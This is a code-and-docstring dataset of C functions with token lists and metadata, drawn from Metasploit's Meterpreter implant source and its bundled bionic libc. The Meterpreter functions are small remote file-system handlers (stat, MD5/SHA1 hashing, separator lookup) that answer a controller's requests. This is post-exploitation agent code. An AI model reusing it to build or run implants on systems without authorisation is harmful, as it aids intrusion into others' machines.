int __set_syscall_errno(int n) { /* some syscalls, mmap() for example, have valid return ** values that are "negative". Since errno values are not ** greater than 131 on Linux, we will just consider ** anything significantly out of range as not-an-error */ if(n > -256) { return __set_errno(-n); } else { return n; } }
/* * this function is called from syscall stubs, * (tail-called in the case of 0-4 arg versions) */
this function is called from syscall stubs, (tail-called in the case of 0-4 arg versions)
[ "this", "function", "is", "called", "from", "syscall", "stubs", "(", "tail", "-", "called", "in", "the", "case", "of", "0", "-", "4", "arg", "versions", ")" ]
int __set_syscall_errno(int n) { if(n > -256) { return __set_errno(-n); } else { return n; } }
[ "int", "__set_syscall_errno", "(", "int", "n", ")", "{", "if", "(", "n", ">", "-256", ")", "{", "return", "__set_errno", "(", "-", "n", ")", ";", "}", "else", "{", "return", "n", ";", "}", "}" ]
this function is called from syscall stubs, (tail-called in the case of 0-4 arg versions)
[ "this", "function", "is", "called", "from", "syscall", "stubs", "(", "tail", "-", "called", "in", "the", "case", "of", "0", "-", "4", "arg", "versions", ")" ]
[ "/* some syscalls, mmap() for example, have valid return\n ** values that are \"negative\". Since errno values are not\n ** greater than 131 on Linux, we will just consider \n ** anything significantly out of range as not-an-error\n */" ]
[ { "param": "n", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "n", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c7815ff2c2d3c49ad2f345bea8e81e4499db9c62
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/arch-sh/bionic/atomics_sh.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
__atomic_cmpxchg
int
int __atomic_cmpxchg(int old, int _new, volatile int *ptr) { int result; pthread_mutex_t *lock = SWAP_LOCK(ptr); pthread_mutex_lock(lock); if (*ptr == old) { *ptr = _new; result = 0; } else { result = 1; } pthread_mutex_unlock(lock); return result; }
/* * Only this function is moved to atomic_cmpxchg.S, and * implemented with gUSA framework. */
Only this function is moved to atomic_cmpxchg.S, and implemented with gUSA framework.
[ "Only", "this", "function", "is", "moved", "to", "atomic_cmpxchg", ".", "S", "and", "implemented", "with", "gUSA", "framework", "." ]
int __atomic_cmpxchg(int old, int _new, volatile int *ptr) { int result; pthread_mutex_t *lock = SWAP_LOCK(ptr); pthread_mutex_lock(lock); if (*ptr == old) { *ptr = _new; result = 0; } else { result = 1; } pthread_mutex_unlock(lock); return result; }
[ "int", "__atomic_cmpxchg", "(", "int", "old", ",", "int", "_new", ",", "volatile", "int", "*", "ptr", ")", "{", "int", "result", ";", "pthread_mutex_t", "*", "lock", "=", "SWAP_LOCK", "(", "ptr", ")", ";", "pthread_mutex_lock", "(", "lock", ")", ";", "if", "(", "*", "ptr", "==", "old", ")", "{", "*", "ptr", "=", "_new", ";", "result", "=", "0", ";", "}", "else", "{", "result", "=", "1", ";", "}", "pthread_mutex_unlock", "(", "lock", ")", ";", "return", "result", ";", "}" ]
Only this function is moved to atomic_cmpxchg.S, and implemented with gUSA framework.
[ "Only", "this", "function", "is", "moved", "to", "atomic_cmpxchg", ".", "S", "and", "implemented", "with", "gUSA", "framework", "." ]
[]
[ { "param": "old", "type": "int" }, { "param": "_new", "type": "int" }, { "param": "ptr", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "old", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "_new", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "ptr", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3dcfb282e8b617673419f528120b64184bd42bb1
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/bionic/fts.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
fts_palloc
int
static int fts_palloc(FTS *sp, size_t more) { char *p; /* * Check for possible wraparound. */ more += 256; if (sp->fts_pathlen + more < sp->fts_pathlen) { if (sp->fts_path) free(sp->fts_path); sp->fts_path = NULL; errno = ENAMETOOLONG; return (1); } sp->fts_pathlen += more; p = realloc(sp->fts_path, sp->fts_pathlen); if (p == NULL) { if (sp->fts_path) free(sp->fts_path); sp->fts_path = NULL; return (1); } sp->fts_path = p; return (0); }
/* * Allow essentially unlimited paths; find, rm, ls should all work on any tree. * Most systems will allow creation of paths much longer than MAXPATHLEN, even * though the kernel won't resolve them. Add the size (not just what's needed) * plus 256 bytes so don't realloc the path 2 bytes at a time. */
Allow essentially unlimited paths; find, rm, ls should all work on any tree. Most systems will allow creation of paths much longer than MAXPATHLEN, even though the kernel won't resolve them. Add the size (not just what's needed) plus 256 bytes so don't realloc the path 2 bytes at a time.
[ "Allow", "essentially", "unlimited", "paths", ";", "find", "rm", "ls", "should", "all", "work", "on", "any", "tree", ".", "Most", "systems", "will", "allow", "creation", "of", "paths", "much", "longer", "than", "MAXPATHLEN", "even", "though", "the", "kernel", "won", "'", "t", "resolve", "them", ".", "Add", "the", "size", "(", "not", "just", "what", "'", "s", "needed", ")", "plus", "256", "bytes", "so", "don", "'", "t", "realloc", "the", "path", "2", "bytes", "at", "a", "time", "." ]
static int fts_palloc(FTS *sp, size_t more) { char *p; more += 256; if (sp->fts_pathlen + more < sp->fts_pathlen) { if (sp->fts_path) free(sp->fts_path); sp->fts_path = NULL; errno = ENAMETOOLONG; return (1); } sp->fts_pathlen += more; p = realloc(sp->fts_path, sp->fts_pathlen); if (p == NULL) { if (sp->fts_path) free(sp->fts_path); sp->fts_path = NULL; return (1); } sp->fts_path = p; return (0); }
[ "static", "int", "fts_palloc", "(", "FTS", "*", "sp", ",", "size_t", "more", ")", "{", "char", "*", "p", ";", "more", "+=", "256", ";", "if", "(", "sp", "->", "fts_pathlen", "+", "more", "<", "sp", "->", "fts_pathlen", ")", "{", "if", "(", "sp", "->", "fts_path", ")", "free", "(", "sp", "->", "fts_path", ")", ";", "sp", "->", "fts_path", "=", "NULL", ";", "errno", "=", "ENAMETOOLONG", ";", "return", "(", "1", ")", ";", "}", "sp", "->", "fts_pathlen", "+=", "more", ";", "p", "=", "realloc", "(", "sp", "->", "fts_path", ",", "sp", "->", "fts_pathlen", ")", ";", "if", "(", "p", "==", "NULL", ")", "{", "if", "(", "sp", "->", "fts_path", ")", "free", "(", "sp", "->", "fts_path", ")", ";", "sp", "->", "fts_path", "=", "NULL", ";", "return", "(", "1", ")", ";", "}", "sp", "->", "fts_path", "=", "p", ";", "return", "(", "0", ")", ";", "}" ]
Allow essentially unlimited paths; find, rm, ls should all work on any tree.
[ "Allow", "essentially", "unlimited", "paths", ";", "find", "rm", "ls", "should", "all", "work", "on", "any", "tree", "." ]
[ "/*\n\t * Check for possible wraparound.\n\t */" ]
[ { "param": "sp", "type": "FTS" }, { "param": "more", "type": "size_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "sp", "type": "FTS", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "more", "type": "size_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3dcfb282e8b617673419f528120b64184bd42bb1
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/bionic/fts.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
fts_safe_changedir
int
static int fts_safe_changedir(FTS *sp, FTSENT *p, int fd, char *path) { int ret, oerrno, newfd; struct stat sb; newfd = fd; if (ISSET(FTS_NOCHDIR)) return (0); if (fd < 0 && (newfd = open(path, O_RDONLY, 0)) < 0) return (-1); if (fstat(newfd, &sb)) { ret = -1; goto bail; } if (p->fts_dev != sb.st_dev || p->fts_ino != sb.st_ino) { errno = ENOENT; /* disinformation */ ret = -1; goto bail; } ret = fchdir(newfd); bail: oerrno = errno; if (fd < 0) (void)close(newfd); errno = oerrno; return (ret); }
/* * Change to dir specified by fd or p->fts_accpath without getting * tricked by someone changing the world out from underneath us. * Assumes p->fts_dev and p->fts_ino are filled in. */
Change to dir specified by fd or p->fts_accpath without getting tricked by someone changing the world out from underneath us. Assumes p->fts_dev and p->fts_ino are filled in.
[ "Change", "to", "dir", "specified", "by", "fd", "or", "p", "-", ">", "fts_accpath", "without", "getting", "tricked", "by", "someone", "changing", "the", "world", "out", "from", "underneath", "us", ".", "Assumes", "p", "-", ">", "fts_dev", "and", "p", "-", ">", "fts_ino", "are", "filled", "in", "." ]
static int fts_safe_changedir(FTS *sp, FTSENT *p, int fd, char *path) { int ret, oerrno, newfd; struct stat sb; newfd = fd; if (ISSET(FTS_NOCHDIR)) return (0); if (fd < 0 && (newfd = open(path, O_RDONLY, 0)) < 0) return (-1); if (fstat(newfd, &sb)) { ret = -1; goto bail; } if (p->fts_dev != sb.st_dev || p->fts_ino != sb.st_ino) { errno = ENOENT; ret = -1; goto bail; } ret = fchdir(newfd); bail: oerrno = errno; if (fd < 0) (void)close(newfd); errno = oerrno; return (ret); }
[ "static", "int", "fts_safe_changedir", "(", "FTS", "*", "sp", ",", "FTSENT", "*", "p", ",", "int", "fd", ",", "char", "*", "path", ")", "{", "int", "ret", ",", "oerrno", ",", "newfd", ";", "struct", "stat", "sb", ";", "newfd", "=", "fd", ";", "if", "(", "ISSET", "(", "FTS_NOCHDIR", ")", ")", "return", "(", "0", ")", ";", "if", "(", "fd", "<", "0", "&&", "(", "newfd", "=", "open", "(", "path", ",", "O_RDONLY", ",", "0", ")", ")", "<", "0", ")", "return", "(", "-1", ")", ";", "if", "(", "fstat", "(", "newfd", ",", "&", "sb", ")", ")", "{", "ret", "=", "-1", ";", "goto", "bail", ";", "}", "if", "(", "p", "->", "fts_dev", "!=", "sb", ".", "st_dev", "||", "p", "->", "fts_ino", "!=", "sb", ".", "st_ino", ")", "{", "errno", "=", "ENOENT", ";", "ret", "=", "-1", ";", "goto", "bail", ";", "}", "ret", "=", "fchdir", "(", "newfd", ")", ";", "bail", ":", "oerrno", "=", "errno", ";", "if", "(", "fd", "<", "0", ")", "(", "void", ")", "close", "(", "newfd", ")", ";", "errno", "=", "oerrno", ";", "return", "(", "ret", ")", ";", "}" ]
Change to dir specified by fd or p->fts_accpath without getting tricked by someone changing the world out from underneath us.
[ "Change", "to", "dir", "specified", "by", "fd", "or", "p", "-", ">", "fts_accpath", "without", "getting", "tricked", "by", "someone", "changing", "the", "world", "out", "from", "underneath", "us", "." ]
[ "/* disinformation */" ]
[ { "param": "sp", "type": "FTS" }, { "param": "p", "type": "FTSENT" }, { "param": "fd", "type": "int" }, { "param": "path", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "sp", "type": "FTS", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "p", "type": "FTSENT", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "fd", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "path", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
9fb843b2dc75473144e585fb87fbe40e4618f37a
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/file.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
file_channel_eof
DWORD
static DWORD file_channel_eof(Channel *channel, Packet *request, LPVOID context, LPBOOL isEof) { FileContext *ctx = (FileContext *)context; *isEof = feof(ctx->fd) ? TRUE : FALSE; return ERROR_SUCCESS; }
/* * Checks to see if the file pointer is currently at the end of the file */
Checks to see if the file pointer is currently at the end of the file
[ "Checks", "to", "see", "if", "the", "file", "pointer", "is", "currently", "at", "the", "end", "of", "the", "file" ]
static DWORD file_channel_eof(Channel *channel, Packet *request, LPVOID context, LPBOOL isEof) { FileContext *ctx = (FileContext *)context; *isEof = feof(ctx->fd) ? TRUE : FALSE; return ERROR_SUCCESS; }
[ "static", "DWORD", "file_channel_eof", "(", "Channel", "*", "channel", ",", "Packet", "*", "request", ",", "LPVOID", "context", ",", "LPBOOL", "isEof", ")", "{", "FileContext", "*", "ctx", "=", "(", "FileContext", "*", ")", "context", ";", "*", "isEof", "=", "feof", "(", "ctx", "->", "fd", ")", "?", "TRUE", ":", "FALSE", ";", "return", "ERROR_SUCCESS", ";", "}" ]
Checks to see if the file pointer is currently at the end of the file
[ "Checks", "to", "see", "if", "the", "file", "pointer", "is", "currently", "at", "the", "end", "of", "the", "file" ]
[]
[ { "param": "channel", "type": "Channel" }, { "param": "request", "type": "Packet" }, { "param": "context", "type": "LPVOID" }, { "param": "isEof", "type": "LPBOOL" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "channel", "type": "Channel", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "request", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "context", "type": "LPVOID", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "isEof", "type": "LPBOOL", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
9fb843b2dc75473144e585fb87fbe40e4618f37a
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/file.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
request_fs_separator
DWORD
DWORD request_fs_separator(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 LPCSTR separator = "\\"; #else LPCSTR separator = "/"; #endif packet_add_tlv_string(response, TLV_TYPE_STRING, separator); // Set the result and transmit the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_SUCCESS); packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/* * Gets the directory separator for this system */
Gets the directory separator for this system
[ "Gets", "the", "directory", "separator", "for", "this", "system" ]
DWORD request_fs_separator(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 LPCSTR separator = "\\"; #else LPCSTR separator = "/"; #endif packet_add_tlv_string(response, TLV_TYPE_STRING, separator); packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_SUCCESS); packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
[ "DWORD", "request_fs_separator", "(", "Remote", "*", "remote", ",", "Packet", "*", "packet", ")", "{", "Packet", "*", "response", "=", "packet_create_response", "(", "packet", ")", ";", "#ifdef", "_WIN32", "LPCSTR", "separator", "=", "\"", "\\\\", "\"", ";", "#else", "LPCSTR", "separator", "=", "\"", "\"", ";", "#endif", "packet_add_tlv_string", "(", "response", ",", "TLV_TYPE_STRING", ",", "separator", ")", ";", "packet_add_tlv_uint", "(", "response", ",", "TLV_TYPE_RESULT", ",", "ERROR_SUCCESS", ")", ";", "packet_transmit", "(", "remote", ",", "response", ",", "NULL", ")", ";", "return", "ERROR_SUCCESS", ";", "}" ]
Gets the directory separator for this system
[ "Gets", "the", "directory", "separator", "for", "this", "system" ]
[ "// Set the result and transmit the response\r" ]
[ { "param": "remote", "type": "Remote" }, { "param": "packet", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "packet", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
9fb843b2dc75473144e585fb87fbe40e4618f37a
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/file.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
request_fs_stat
DWORD
DWORD request_fs_stat(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); struct meterp_stat buf; LPCSTR filePath; LPSTR expanded = NULL; DWORD result = ERROR_SUCCESS; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); // Validate parameters if (!filePath) result = ERROR_INVALID_PARAMETER; else if (!(expanded = fs_expand_path(filePath))) result = ERROR_NOT_ENOUGH_MEMORY; else { result = fs_stat(expanded, &buf); if (0 == result) packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); } // Set the result and transmit the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); if (expanded) free(expanded); return result; }
/* * Gets information about the file path that is supplied and returns it to the * requestor * * TLVs: * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */
Gets information about the file path that is supplied and returns it to the requestor The file path that is to be stat'd
[ "Gets", "information", "about", "the", "file", "path", "that", "is", "supplied", "and", "returns", "it", "to", "the", "requestor", "The", "file", "path", "that", "is", "to", "be", "stat", "'", "d" ]
DWORD request_fs_stat(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); struct meterp_stat buf; LPCSTR filePath; LPSTR expanded = NULL; DWORD result = ERROR_SUCCESS; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!filePath) result = ERROR_INVALID_PARAMETER; else if (!(expanded = fs_expand_path(filePath))) result = ERROR_NOT_ENOUGH_MEMORY; else { result = fs_stat(expanded, &buf); if (0 == result) packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); if (expanded) free(expanded); return result; }
[ "DWORD", "request_fs_stat", "(", "Remote", "*", "remote", ",", "Packet", "*", "packet", ")", "{", "Packet", "*", "response", "=", "packet_create_response", "(", "packet", ")", ";", "struct", "meterp_stat", "buf", ";", "LPCSTR", "filePath", ";", "LPSTR", "expanded", "=", "NULL", ";", "DWORD", "result", "=", "ERROR_SUCCESS", ";", "filePath", "=", "packet_get_tlv_value_string", "(", "packet", ",", "TLV_TYPE_FILE_PATH", ")", ";", "if", "(", "!", "filePath", ")", "result", "=", "ERROR_INVALID_PARAMETER", ";", "else", "if", "(", "!", "(", "expanded", "=", "fs_expand_path", "(", "filePath", ")", ")", ")", "result", "=", "ERROR_NOT_ENOUGH_MEMORY", ";", "else", "{", "result", "=", "fs_stat", "(", "expanded", ",", "&", "buf", ")", ";", "if", "(", "0", "==", "result", ")", "packet_add_tlv_raw", "(", "response", ",", "TLV_TYPE_STAT_BUF", ",", "&", "buf", ",", "sizeof", "(", "buf", ")", ")", ";", "}", "packet_add_tlv_uint", "(", "response", ",", "TLV_TYPE_RESULT", ",", "result", ")", ";", "packet_transmit", "(", "remote", ",", "response", ",", "NULL", ")", ";", "if", "(", "expanded", ")", "free", "(", "expanded", ")", ";", "return", "result", ";", "}" ]
Gets information about the file path that is supplied and returns it to the requestor
[ "Gets", "information", "about", "the", "file", "path", "that", "is", "supplied", "and", "returns", "it", "to", "the", "requestor" ]
[ "// Validate parameters\r", "// Set the result and transmit the response\r" ]
[ { "param": "remote", "type": "Remote" }, { "param": "packet", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "packet", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
9fb843b2dc75473144e585fb87fbe40e4618f37a
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/file.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
request_fs_md5
DWORD
DWORD request_fs_md5(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR filePath; LPSTR expanded = NULL; DWORD result = ERROR_SUCCESS; MD5_CTX context; FILE *fd; size_t ret; unsigned char buff[16384]; unsigned char hash[128]; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); // Validate parameters if (!filePath) result = ERROR_INVALID_PARAMETER; else if (!(expanded = fs_expand_path(filePath))) result = ERROR_NOT_ENOUGH_MEMORY; else { do { MD5_Init(&context); fd = fopen(expanded, "rb"); if (! fd) { result = GetLastError(); break; } while((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) { MD5_Update(&context, buff, ret); } fclose(fd); MD5_Final(hash, &context); // One byte extra for the NULL packet_add_tlv_raw(response, TLV_TYPE_FILE_NAME, hash, 17); } while(0); } // Set the result and transmit the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); if (expanded) free(expanded); return ERROR_SUCCESS; }
/* * Returns the MD5 hash for a specified file path * * TLVs: * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */
Returns the MD5 hash for a specified file path The file path that is to be stat'd
[ "Returns", "the", "MD5", "hash", "for", "a", "specified", "file", "path", "The", "file", "path", "that", "is", "to", "be", "stat", "'", "d" ]
DWORD request_fs_md5(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR filePath; LPSTR expanded = NULL; DWORD result = ERROR_SUCCESS; MD5_CTX context; FILE *fd; size_t ret; unsigned char buff[16384]; unsigned char hash[128]; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!filePath) result = ERROR_INVALID_PARAMETER; else if (!(expanded = fs_expand_path(filePath))) result = ERROR_NOT_ENOUGH_MEMORY; else { do { MD5_Init(&context); fd = fopen(expanded, "rb"); if (! fd) { result = GetLastError(); break; } while((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) { MD5_Update(&context, buff, ret); } fclose(fd); MD5_Final(hash, &context); packet_add_tlv_raw(response, TLV_TYPE_FILE_NAME, hash, 17); } while(0); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); if (expanded) free(expanded); return ERROR_SUCCESS; }
[ "DWORD", "request_fs_md5", "(", "Remote", "*", "remote", ",", "Packet", "*", "packet", ")", "{", "Packet", "*", "response", "=", "packet_create_response", "(", "packet", ")", ";", "LPCSTR", "filePath", ";", "LPSTR", "expanded", "=", "NULL", ";", "DWORD", "result", "=", "ERROR_SUCCESS", ";", "MD5_CTX", "context", ";", "FILE", "*", "fd", ";", "size_t", "ret", ";", "unsigned", "char", "buff", "[", "16384", "]", ";", "unsigned", "char", "hash", "[", "128", "]", ";", "filePath", "=", "packet_get_tlv_value_string", "(", "packet", ",", "TLV_TYPE_FILE_PATH", ")", ";", "if", "(", "!", "filePath", ")", "result", "=", "ERROR_INVALID_PARAMETER", ";", "else", "if", "(", "!", "(", "expanded", "=", "fs_expand_path", "(", "filePath", ")", ")", ")", "result", "=", "ERROR_NOT_ENOUGH_MEMORY", ";", "else", "{", "do", "{", "MD5_Init", "(", "&", "context", ")", ";", "fd", "=", "fopen", "(", "expanded", ",", "\"", "\"", ")", ";", "if", "(", "!", "fd", ")", "{", "result", "=", "GetLastError", "(", ")", ";", "break", ";", "}", "while", "(", "(", "ret", "=", "fread", "(", "buff", ",", "1", ",", "sizeof", "(", "buff", ")", ",", "fd", ")", ")", ">", "0", ")", "{", "MD5_Update", "(", "&", "context", ",", "buff", ",", "ret", ")", ";", "}", "fclose", "(", "fd", ")", ";", "MD5_Final", "(", "hash", ",", "&", "context", ")", ";", "packet_add_tlv_raw", "(", "response", ",", "TLV_TYPE_FILE_NAME", ",", "hash", ",", "17", ")", ";", "}", "while", "(", "0", ")", ";", "}", "packet_add_tlv_uint", "(", "response", ",", "TLV_TYPE_RESULT", ",", "result", ")", ";", "packet_transmit", "(", "remote", ",", "response", ",", "NULL", ")", ";", "if", "(", "expanded", ")", "free", "(", "expanded", ")", ";", "return", "ERROR_SUCCESS", ";", "}" ]
Returns the MD5 hash for a specified file path
[ "Returns", "the", "MD5", "hash", "for", "a", "specified", "file", "path" ]
[ "// Validate parameters\r", "// One byte extra for the NULL\r", "// Set the result and transmit the response\r" ]
[ { "param": "remote", "type": "Remote" }, { "param": "packet", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "packet", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
9fb843b2dc75473144e585fb87fbe40e4618f37a
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/file.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
request_fs_sha1
DWORD
DWORD request_fs_sha1(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR filePath; LPSTR expanded = NULL; DWORD result = ERROR_SUCCESS; SHA_CTX context; FILE *fd; size_t ret; unsigned char buff[16384]; unsigned char hash[128]; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); // Validate parameters if (!filePath) result = ERROR_INVALID_PARAMETER; else if (!(expanded = fs_expand_path(filePath))) result = ERROR_NOT_ENOUGH_MEMORY; else { do { SHA1_Init(&context); fd = fopen(expanded, "rb"); if (! fd) { result = GetLastError(); break; } while((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) { SHA1_Update(&context, buff, ret); } fclose(fd); SHA1_Final(hash, &context); // One byte extra for the NULL packet_add_tlv_raw(response, TLV_TYPE_FILE_NAME, hash, 21); } while(0); } // Set the result and transmit the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); if (expanded) free(expanded); return ERROR_SUCCESS; }
/* * Returns the SHA1 hash for a specified file path * * TLVs: * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */
Returns the SHA1 hash for a specified file path The file path that is to be stat'd
[ "Returns", "the", "SHA1", "hash", "for", "a", "specified", "file", "path", "The", "file", "path", "that", "is", "to", "be", "stat", "'", "d" ]
DWORD request_fs_sha1(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR filePath; LPSTR expanded = NULL; DWORD result = ERROR_SUCCESS; SHA_CTX context; FILE *fd; size_t ret; unsigned char buff[16384]; unsigned char hash[128]; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!filePath) result = ERROR_INVALID_PARAMETER; else if (!(expanded = fs_expand_path(filePath))) result = ERROR_NOT_ENOUGH_MEMORY; else { do { SHA1_Init(&context); fd = fopen(expanded, "rb"); if (! fd) { result = GetLastError(); break; } while((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) { SHA1_Update(&context, buff, ret); } fclose(fd); SHA1_Final(hash, &context); packet_add_tlv_raw(response, TLV_TYPE_FILE_NAME, hash, 21); } while(0); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); if (expanded) free(expanded); return ERROR_SUCCESS; }
[ "DWORD", "request_fs_sha1", "(", "Remote", "*", "remote", ",", "Packet", "*", "packet", ")", "{", "Packet", "*", "response", "=", "packet_create_response", "(", "packet", ")", ";", "LPCSTR", "filePath", ";", "LPSTR", "expanded", "=", "NULL", ";", "DWORD", "result", "=", "ERROR_SUCCESS", ";", "SHA_CTX", "context", ";", "FILE", "*", "fd", ";", "size_t", "ret", ";", "unsigned", "char", "buff", "[", "16384", "]", ";", "unsigned", "char", "hash", "[", "128", "]", ";", "filePath", "=", "packet_get_tlv_value_string", "(", "packet", ",", "TLV_TYPE_FILE_PATH", ")", ";", "if", "(", "!", "filePath", ")", "result", "=", "ERROR_INVALID_PARAMETER", ";", "else", "if", "(", "!", "(", "expanded", "=", "fs_expand_path", "(", "filePath", ")", ")", ")", "result", "=", "ERROR_NOT_ENOUGH_MEMORY", ";", "else", "{", "do", "{", "SHA1_Init", "(", "&", "context", ")", ";", "fd", "=", "fopen", "(", "expanded", ",", "\"", "\"", ")", ";", "if", "(", "!", "fd", ")", "{", "result", "=", "GetLastError", "(", ")", ";", "break", ";", "}", "while", "(", "(", "ret", "=", "fread", "(", "buff", ",", "1", ",", "sizeof", "(", "buff", ")", ",", "fd", ")", ")", ">", "0", ")", "{", "SHA1_Update", "(", "&", "context", ",", "buff", ",", "ret", ")", ";", "}", "fclose", "(", "fd", ")", ";", "SHA1_Final", "(", "hash", ",", "&", "context", ")", ";", "packet_add_tlv_raw", "(", "response", ",", "TLV_TYPE_FILE_NAME", ",", "hash", ",", "21", ")", ";", "}", "while", "(", "0", ")", ";", "}", "packet_add_tlv_uint", "(", "response", ",", "TLV_TYPE_RESULT", ",", "result", ")", ";", "packet_transmit", "(", "remote", ",", "response", ",", "NULL", ")", ";", "if", "(", "expanded", ")", "free", "(", "expanded", ")", ";", "return", "ERROR_SUCCESS", ";", "}" ]
Returns the SHA1 hash for a specified file path
[ "Returns", "the", "SHA1", "hash", "for", "a", "specified", "file", "path" ]
[ "// Validate parameters\r", "// One byte extra for the NULL\r", "// Set the result and transmit the response\r" ]
[ { "param": "remote", "type": "Remote" }, { "param": "packet", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "packet", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
605cc4980efac1fc85b3dc8df3f9c215f2990fee
Oxicode/metasploit-framework
external/source/meterpreter/source/client/console.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
console_write_output
VOID
VOID console_write_output(LPCSTR fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stdout, fmt, ap); va_end(ap); }
/* * Write a format string buffer to the console */
Write a format string buffer to the console
[ "Write", "a", "format", "string", "buffer", "to", "the", "console" ]
VOID console_write_output(LPCSTR fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stdout, fmt, ap); va_end(ap); }
[ "VOID", "console_write_output", "(", "LPCSTR", "fmt", ",", "...", ")", "{", "va_list", "ap", ";", "va_start", "(", "ap", ",", "fmt", ")", ";", "vfprintf", "(", "stdout", ",", "fmt", ",", "ap", ")", ";", "va_end", "(", "ap", ")", ";", "}" ]
Write a format string buffer to the console
[ "Write", "a", "format", "string", "buffer", "to", "the", "console" ]
[]
